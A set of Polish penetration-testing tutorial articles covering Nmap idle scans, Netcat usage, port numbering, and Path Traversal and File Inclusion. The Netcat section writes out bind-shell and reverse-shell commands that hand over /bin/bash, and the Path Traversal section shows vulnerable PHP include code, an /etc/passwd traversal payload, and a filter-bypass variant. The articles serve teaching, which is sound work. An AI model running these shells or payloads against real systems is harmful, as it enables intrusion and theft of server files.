Następnie atakujący podmienia adres źródłowy pakietu na adres IP hosta zombie i wysyła pakiety SYN do celu:

Cel odpowiada w zależności od stanu portu:

• Jeśli port jest otwarty, host zombie otrzyma pakiet SYN/ACK, na który odpowie pakietem RST.
• Jeśli port jest zamknięty, host zombie nic nie otrzyma.

Atakujący ponownie odczytuje IP ID hosta zombie. Jeśli numer wzrósł o więcej niż jeden, oznacza to, że host zombie wysłał dodatkowy pakiet RST, co wskazuje, że port był otwarty:

Podsumowanie

Nmap to potężne narzędzie, które pozwala na analizę sieci i wykrywanie otwartych portów. Dzięki różnym technikom skanowania możemy uzyskać cenne informacje o dostępnych usługach i zabezpieczeniach danej maszyny. Warto jednak pamiętać, że wyniki skanowania mogą być zafałszowane przez firewalle i inne mechanizmy obronne. Nmap jest nieocenionym narzędziem zarówno dla administratorów systemów, jak i specjalistów ds. bezpieczeństwa, ale jego skuteczność w dużej mierze zależy od naszej wiedzy, a także umiejętności interpretacji wyników.

Artykuł Nmap – jak sprawdzić otwarte porty | skanowanie portów pochodzi z serwisu Pentestuj.

Czym jest Netcat

Netcat to wszechstronne narzędzie sieciowe do testowania połączeń i komunikacji, a także prosty serwer. Netcat działa na systemach Linux, Windows oraz MacOS. Jest często nazywany „szwajcarskim scyzorykiem sieciowym” ze względu na możliwość wykonywania różnych zadań związanych z siecią. Netcat może być używany do zadań takich jak:

• Ustanawianie połączeń TCP i UDP – Netcat pozwala na inicjowanie połączeń zdalnych oraz nasłuchiwanie na określonych portach, co umożliwia komunikację pomiędzy hostami.
• Przesyłanie plików – Netcat może być używany do przesyłania plików pomiędzy hostami. Należy jednak zaznaczyć, że Netcat nie oferuje wbudowanego mechanizmu zabezpieczania przesyłanych danych, dlatego nie jest zalecany do bezpiecznego przesyłania plików.
• Skanowanie portów – Netcat umożliwia szybkie sprawdzenie, które porty na docelowym urządzeniu są otwarte, co jest przydatne podczas testów penetracyjnych. Jednak nie jest to jego główna funkcja, dlatego do bardziej zaawansowanego skanowania lepiej używać Nmapa.
• Tworzenie serwerów nasłuchujących – narzędzie może działać jako prosty serwer, który nasłuchuje na określonym porcie i obsługuje połączenia przychodzące. Warto dodać, że w tej roli Netcat może być używany do tworzenia prostych backdoorów, co bywa wykorzystywane zarówno w testach penetracyjnych, jak i przez atakujących.
• Diagnostyka, debugowanie i testy penetracyjne – Netcat jest pomocny w diagnozowaniu problemów z połączeniami, w testowaniu konfiguracji sieciowej oraz w testach penetracyjnych.

Jak ustanowić połączenie za pomocą Netcat

Netcat umożliwia tworzenie połączeń TCP lub UDP między dwoma hostami, gdzie jeden działa jako serwer nasłuchujący, a drugi jako klient, który inicjuje połączenie.

Jak ustanowić połączenie TCP

Skonfiguruj serwer nasłuchujący:

Na komputerze, który będzie nasłuchiwał połączeń (serwer), uruchom Netcat w trybie nasłuchu na określonym porcie:

nc -l -p <numer portu>

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p <numer portu> – określa numer portu (np. 5555).

Połącz się z serwerem jako klient:

nc <adres IP serwera> <numer portu>

gdzie:

• <adres IP serwera> – adres IP maszyny, na której uruchomiono Netcat w trybie nasłuchu.
• <numer portu> – port, na którym nasłuchuje serwer.

Jak ustanowić połączenie UDP

Netcat obsługuje nie tylko połączenia TCP, ale także UDP. Oto, jak ustanowić komunikację UDP za pomocą Netcat.

Skonfiguruj serwer nasłuchujący:

nc -u -l -p <numer portu>

Polecenie jest prawie takie samo jak przy TCP. Trzeba tylko dodać flagę -u.

Połącz się z serwerem jako klient:

nc -u <adres IP serwera> <numer portu>

Transfer plików

Możemy używać Netcata do przesyłania danych pomiędzy hostami. W tym celu trzeba skonfigurować maszynę wysyłającą oraz odbierającą dane.

Na maszynie odbierającej dane wpisz poniższe polecenie:

nc -l -p <numer portu> > otrzymane_dane.txt

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p – określa numer portu (np. 5555).
• > – przekierowuje odebrane dane do pliku otrzymane_dane.txt.

Na maszynie wysyłającej, wpisz poniższe polecenie:

nc <adres IP odbiorcy> <numer portu> < plik_do_wyslania.txt

gdzie:

• <adres IP odbiorcy> – adres IP maszyny odbierającej plik.
• <numer portu> – port, na którym nasłuchuje maszyna odbierająca.
• < – wskazuje, że dane do przesłania znajdują się w pliku plik_do_wyslania.txt.

To polecenie nawiązuje połączenie z maszyną odbiorczą i wysyła plik plik_do_wyslania.txt.

Backdoor i zdalny dostęp

Netcat może być użyty do utworzenia backdoora, umożliwiającego atakującemu zdalny dostęp do systemu ofiary.

Uwaga: Tworzenie backdoorów i uzyskiwanie zdalnego dostępu do systemów bez zgody ich właścicieli jest nieetyczne i nielegalne. Opisane w artykule techniki powinny być używane wyłącznie w celach edukacyjnych lub w ramach testów penetracyjnych przeprowadzanych za zgodą właściciela systemu.

Na komputerze ofiary włącz tryb nasłuchu:

nc -lp 5555 -e /bin/bash

gdzie:

• -l – włącza tryb nasłuchu (listening).
• -p – określa numer portu (np. 5555).
• -e /bin/bash – po nawiązaniu połączenia klient uzyska dostęp do powłoki Bash na maszynie, która uruchomiła Netcat.

Zwróć uwagę na to, że flagi można zapisywać łącznie lub osobno. Równoważny będzie zapis -lp oraz -l -p.

Na komputerze atakującego wykonaj poniższe polecenie:

nc <adres IP ofiary> 5555

• <adres IP ofiary> – adres IP maszyny nasłuchującej.
• 5555 – numer portu na którym nasłuchuje komputer ofiary, w tym przypadku jest to port 5555.

Powyższe polecenie jest używane do nawiązania połączenia techniką bind shell. W przypadku bind shell, komputer ofiary uruchamia Netcat w trybie nasłuchu na określonym porcie (tutaj 5555) i czeka na połączenia przychodzące. Kiedy atakujący połączy się z tym portem, zyskuje dostęp do powłoki systemowej ofiary. Problemem jest to, że firewall może blokować połączenia przychodzące. Dlatego z punktu widzenia atakującego dużo lepszą techniką jest reverse shell.

Reverse shell działa inaczej. W tym przypadku to komputer ofiary inicjuje połączenie z komputerem atakującego. Ofiara uruchamia Netcat, który łączy się z adresem IP atakującego na określonym porcie (np. 5555), a atakujący otrzymuje dostęp do powłoki ofiary.

Na komputerze atakującego włącz tryb nasłuchiwania:

nc -lp 5555

Na komputerze ofiary wykonaj poniższe polecenie:

nc <adres IP atakującego> 5555 -e /bin/bash

Atakujący może wykonać reverse shell na systemie ofiary bez fizycznego dostępu, wykorzystując różne luki w zabezpieczeniach. Jednym ze sposobów jest wykorzystanie luk w aplikacjach internetowych, które pozwalają na zdalne wykonanie kodu. Jeśli aplikacja ma nieprawidłową kontrolę nad danymi wejściowymi, atakujący może wysłać złośliwy kod, który uruchomi reverse shell na serwerze ofiary. Kolejną metodą są ataki phishingowe, gdzie atakujący wysyła e-maile lub tworzy fałszywe strony internetowe, które mają na celu skłonienie użytkownika do kliknięcia w złośliwy link lub pobrania załącznika zawierającego złośliwy kod. Atakujący może też manipulować ofiarą w taki sposób, by ta sama uruchomiła złośliwy kod.

Chatowanie za pomocą Netcata

Netcat umożliwia prowadzenie prostych rozmów tekstowych (chatów) w czasie rzeczywistym pomiędzy dwoma komputerami w tej samej sieci lub na odległych maszynach. Proces ten polega na skonfigurowaniu jednego komputera jako serwera nasłuchującego, a drugiego jako klienta, który się z nim łączy.

Warto pamiętać o tym, że rozmowy przez Netcat są przesyłane w formie zwykłego tekstu i nie są domyślnie szyfrowane, przez co dane mogą zostać przechwycone.

Poniżej przykład wysyłanych wiadomości pomiędzy dwiema maszynami w sieci lokalnej, które są uruchomione na VMware.

Włączam serwer nasłuchujący na maszynie o IP 192.168.128.131 na porcie 5555:

Na drugiej maszynie nawiązuję połączenie z serwerem nasłuchującym:

Teraz mogę wysłać wiadomość tekstową:

Wiadomość pokazała się na serwerze nasłuchującym. Wysyłam odpowiedź:

Odpowiedź pojawiła się na drugiej maszynie:

Skanowanie portów za pomocą Netcata

Netcat, pomimo że nie jest specjalistycznym narzędziem do skanowania portów, może być używany do tego celu.

Poniżej polecenie wykonujące skanowanie portów:

nc -v -n <adres IP> 1-100

• -v – tryb szczegółowy, wyświetla więcej informacji o połączeniach.
• -n – wymusza używanie bezpośrednich adresów IP zamiast nazw domenowych. Netcat nie będzie próbował rozwiązywać adresu IP na nazwę hosta.
• <adres IP> – określa adres IP zdalnego hosta, który jest sprawdzany pod kątem otwartych portów.
• 1-100 – określa zakres portów, które mają zostać zeskanowane. W powyższym przypadku Netcat będzie sprawdzać porty od 1 do 100.

Podsumowanie

Największą zaletą Netcata jest możliwość obsługi zarówno protokołów TCP jak i UDP, co czyni go niezwykle elastycznym narzędziem do różnych zadań sieciowych. Netcat jest bardzo prosty w obsłudze i można go szybko uruchomić. Dodatkowo, możliwość tworzenia prostych serwerów sprawia, że narzędzie to znajduje zastosowanie w testach penetracyjnych i diagnozowaniu problemów z siecią.

Jednakże Netcat nie jest pozbawiony wad. Brak natywnego szyfrowania komunikacji sprawia, że dane przesyłane za jego pomocą są podatne na podsłuch, co może stanowić poważne zagrożenie w kontekście bezpieczeństwa. Choć istnieją modyfikacje Netcata, które dodają szyfrowanie, nie są one w standardzie.

Artykuł Netcat – czym jest i jak go używać pochodzi z serwisu Pentestuj.

Kilka słów o warstwie transportowej

W procesie komunikacji pomiędzy urządzeniami w sieci, kluczową rolę pełni warstwa transportowa. Do jej głównych zadań należy nawiązanie połączenia, a także dalsza obsługa sesji pomiędzy hostami. Ponadto warstwa ta odpowiedzialna jest za segmentację danych (podział na mniejsze części), identyfikowanie poszczególnych aplikacji, a w razie utraty danych, retransmisja. Warstwa transportowa kontroluje także przepływ danych i na bieżąco śledzi połączenia pomiędzy hostami.

To właśnie dzięki śledzeniu połączeń można wysyłać i odbierać dane pochodzące z różnych aplikacji na jednym urządzeniu. Na jednym komputerze w tym samym momencie możesz odbierać pocztę, mieć włączonych kilka stron internetowych, rozmawiać przez komunikator, a także przesyłać dane przez FTP. Jednak nie byłoby to możliwe także bez segmentacji danych.

Warstwa transportowa dzieli przesyłane dane (pochodzące od różnych aplikacji) na mniejsze fragmenty i wysyła je naprzemiennie. Dzięki temu mniejsze porcje danych mogą na bieżąco być odbierane przez kilka aplikacji jednocześnie. Jeśli nie byłaby stosowana segmentacja i zostałaby wysłana na raz duża porcja danych pochodząca od jednej aplikacji, wtedy pozostałe aplikacje musiały czekać w kolejce. W takiej sytuacji nie byłoby możliwe efektywne korzystanie z kilku aplikacji na raz.

Teraz jak już wiemy jak działa warstwa transportowa, przejdźmy do definicji portu protokołu.

Definicja portu protokołu

Warstwa transportowa musi dostarczyć przesyłane dane do właściwej aplikacji. W tym właśnie pomagają porty protokołu. Numer portu jest to identyfikator liczbowy, który umożliwia rozpoznanie konkretnej usługi lub aplikacji działającej na urządzeniu. Jest to po prostu identyfikator danej usługi.

Porty współpracują z adresami IP, tworząc w ten sposób tzw. gniazda sieciowe (ang. sockets), które są wykorzystywane do przesyłania danych. Numer protokołu stanowi jeden z parametrów gniazda.

Gniazdo jest to dwukierunkowy punkt końcowy połączenia. Dwukierunkowość oznacza możliwość wysyłania oraz odbierania danych. Aplikacje wykorzystują gniazdo do komunikowania się przez sieć. Przykładowo adres IP identyfikuje urządzenie w sieci, np. 192.168.1.1, a port identyfikuje usługę na tym urządzeniu, np. port 80 dla HTTP (serwer WWW).

Jakie są numery portów

Organizacja IANA (ang. Internet Assigned Numbers Authority) zajmuje się zarządzaniem domenami, a także przydzielaniem adresów IP oraz numerów portów. Numery portów to wartości z zakresu od 0 do 65535, które zostały podzielone na trzy kategorie.

Porty ogólnie znane (ang. well-known ports)

Ogólnie znane porty to zakres numerów portów w protokole TCP/UDP, które zostały zarezerwowane dla określonych usług i aplikacji serwerowych. Obejmują zakres od 0 do 1023.

Te porty są używane przez popularne protokoły komunikacyjne, takie jak np. HTTP, FTP, czy SMTP. Każdy port odpowiada konkretnej usłudze, co ułatwia komunikację pomiędzy urządzeniami w sieci.

Poniżej znajduje się lista wybranych ogólnie znanych portów, które są przypisane do danych protokołów warstwy aplikacji:

UWAGA!
Administrator danego systemu może zmienić numer portu dla danej usługi. Praktyka ta jest stosowana w celu poprawienia bezpieczeństwa. W ten sposób można uniknąć ataków skierowanych na domyślne numery portów protokołów.

Porty zarejestrowane (ang. registered ports)

Pula z zakresu 1024 – 49151 obejmuje porty zarezerwowane dla usług i aplikacji, które są zainstalowane na komputerze użytkownika.

Porty dynamiczne/prywatne (ang. dynamic/private ports)

Kolejna grupa portów obejmuje zakres 49152 – 65535. Numery te są używane dynamicznie przez aplikacje klienckie do tworzenia tymczasowych połączeń.

Czy różne usługi mogą używać tego samego numeru portu?

Przeważnie jeden numer portu jest używany przez jedną usługę. Jednak zdarzają się wyjątki. Czasami dwie różne usługi mogą jednocześnie korzystać z tego samego numeru portu. W takim przypadku każda z usług musi działać na innym protokole warstwy transportowej (TCP lub UDP).

Niektóre usługi wykorzystują ten sam port i protokoły, co jest raczej rzadkością. Przykładem jest DNS, który korzysta z portu 53 za pomocą TCP oraz UDP.

Czasami jedna usługa korzysta z dwóch różnych portów, przy czym każdy z nich pełni inną funkcję. Przykładowo protokół FTP używa portu 20 do transferu plików, a portu 21 do transferu poleceń.

Artykuł Port protokołu – co to jest? pochodzi z serwisu Pentestuj.

Pod tym linkiem znajdziesz rozwiązania zadań wraz z omówieniem z platformy Web Security Academy. Po przeczytaniu artykułu zachęcam do utrwalenia swojej wiedzy poprzez rozwiązanie tych zadań 🙂

Jak działa Path Traversal

Podatność Path Traversal pojawia się wtedy, gdy aplikacja wykorzystuje dane kontrolowane przez użytkownika bez odpowiedniej walidacji. W takiej sytuacji atakujący może odpowiednio zmodyfikować zapytanie, aby uzyskać dostęp do plików i wrażliwych informacji, do których normalnie nie powinien mieć dostępu. Ważne jest również to jakie są ustawione uprawnienia do plików i katalogów na serwerze. Jeśli są zbyt wysokie, wtedy atakujący może poszerzyć swój wektor ataku. Path Traversal bardzo często jest furtką do dalszych ataków takich jak LFI (Local File Inclusion) oraz RFI (Remote File Inclusion). Obie podatności zostaną omówione w dalszej części artykułu.

Path Traversal może występować bezpośrednio w adresie URL, a także w parametrach przekazywanych do aplikacji lub w nagłówkach. Luka może wystąpić w wielu miejscach aplikacji, jednak w szczególności warto testować miejsca w których pliki są pobierane lub wgrywane na serwer, a także wszędzie tam gdzie są wczytywane style lub szablony. Warto podkreślić, że podatność Path Traversal nie dotyczy tylko aplikacji webowych.

Przykładowo mamy aplikację webową, która wyświetla awatar danego użytkownika. Aplikacja wykorzystuje parametr w adresie URL, aby określić które zdjęcie powinno zostać wyświetlone.

Przykładowy adres do grafiki z awatarem ma postać:

http://example.com/image?avatar=img678.png

Tak może wyglądać kod po stronie podatnej aplikacji:

<?php
$file = $_GET['avatar'];
include('var/www/images/' . $file);
?>

Parametr file określa który plik graficzny ma się wyświetlać danemu użytkownikowi. W normalnych warunkach powinna się wyświetlić grafika, której nazwa znajduje się w adresie URL w parametrze avatar.

Jednak kod jest podatny na ataki path traversal, ponieważ łączy dane wejściowe dostarczone przez użytkownika ze ścieżką do pliku bez odpowiedniej walidacji. Atakujący może łatwo wykorzystać tę lukę, dostarczając ładunek, taki jak np. ../../../etc/passwd, który umożliwia przechodzenie w górę hierarchii katalogów i uzyskiwanie dostępu do poufnych plików na serwerze. Ponieważ aplikacja nie jest odpowiednio zabezpieczona, atakujący może zmodyfikować powyższy adres zmieniając parametr avatar w poniższy sposób:

http://example.com/image?avatar=../../../etc/passwd

Zmanipulowany kod po stronie serwera wyglądałby następująco:

<?php
$file ='../../../etc/passwd';
include('var/www/images/' . $file);
?>

W efekcie serwer wskazuje pod adres:

/var/www/images/../../../etc/passwd

Znak ../ oznacza przejście do katalogu nadrzędnego, tak więc w rezultacie serwer wyświetli zawartość pliku etc/passwd, zamiast grafiki z awatarem.

Jeśli nie zapewnimy odpowiedniej walidacji przekazywanych danych do naszej aplikacji, ostatnią deską ratunku będą odpowiednio niskie uprawnienia. Jeśli będą one zbyt wysokie, wtedy atakujący z powodzeniem wykona swój atak.

Czym jest File Inclusion

File Inclusion to rodzaj podatności, która pozwala atakującym na dołączenie i wykonanie kodu z plików (lokalnych lub zdalnych) w kontekście aplikacji. Często występuje w językach programowania takich jak PHP, gdzie funkcje dołączające pliki (np. include(), require()) są źle zabezpieczone. Wyróżnia się dwa rodzaje podatności File Inclusion:

• Local File Inclusion (LFI) – to luka w zabezpieczeniach aplikacji, która polega na wyświetleniu zawartości plików lub wykonaniu kodu z plików znajdujących się lokalnie na serwerze. LFI może prowadzić do dalszej eskalacji ataku. Atakujący może nawet przejąć kontrolę nad serwerem.
• Remote File Inclusion (RFI) – to luka, która pozwala atakującemu na dołączenie i wykonanie kodu z plików znajdujących się na zdalnym serwerze. W przypadku gdy aplikacja jest źle skonfigurowana (np. funkcja allow_url_include w PHP jest włączona), plik zostanie pobrany i wykonany w kontekście serwera aplikacji. W ten sposób można uruchomić złośliwy kod, który pozwala na kradzież danych, wykonanie dowolnych poleceń lub nawet przejęcie kontroli nad serwerem.

Jaka jest różnica pomiędzy Path Traversal a File Inclusion

1. Charakter podatności
   Path Traversal umożliwia atakującemu odczyt plików i katalogów do których nie powinien mieć dostępu.
   Natomiast File Inclusion pozwala na dołączanie lub wykonywanie i odczytywanie dowolnych plików z lokalnego lub zdalnego serwera.
2. Wpływ na serwer
   Path Traversal umożliwia atakującemu dostęp do poufnych plików i katalogów na serwerze. Może to prowadzić do kradzieży danych lub nawet przejęcia serwera.
   File Inclusion umożliwia atakującemu wykonanie dowolnego kodu z pliku na serwerze. Prowadzi to do całkowitego naruszenia bezpieczeństwa serwera.
3. Skutek
   Obie podatności mogą nieść ze sobą poważne skutki. Jednak przyjmuje się, że File Inclusion jest poważniejsza z uwagi na możliwość wykonania dowolnego kodu na serwerze.
4. Przyczyna
   Zarówno Path Traversal, jak i File Inclusion mogą być spowodowane przez niewystarczającą walidację oraz brak odpowiedniej kontroli dostępu. Path Traversal występuje, gdy aplikacja nie może zweryfikować danych wejściowych użytkownika używanych do uzyskania dostępu do systemu plików, natomiast File Inclusion występuje, gdy dane wejściowe użytkownika są używane do dołączenia plików ze zdalnego lub lokalnego serwera bez odpowiedniej walidacji.

Jak ominąć filtry

Path Traversal jest znaną i dość popularną podatnością i w związku z tym oprogramowania klasy IDS (ang. Intrusion Detection System), czyli systemy wykrywania włamań, wykrywają i skutecznie unicestwiają znane ataki, poprzez usuwanie z zapytań ciągów ../ oraz ich wariacji. Poniżej opisuję kilka sposobów na ominięcie filtrów.

Użycie wariacji znaków . / \

Jeśli system ochrony usuwa tylko raz z zapytania sekwencję ../, bez ponownego sprawdzenia przekazanego ciągu zapytania, jest możliwe ominięcie zabezpieczeń dodając dodatkowe znaki kropek i ukośników. Takie zapytanie może mieć wtedy postać:

....//....//....//etc/passwd

Sekwencje w czerwonych ramkach na poniższym zrzucie są usuwane przez system zabezpieczający:

Po usunięciu powyższych znaków otrzymujemy zapytanie jak na poniższym rzucie: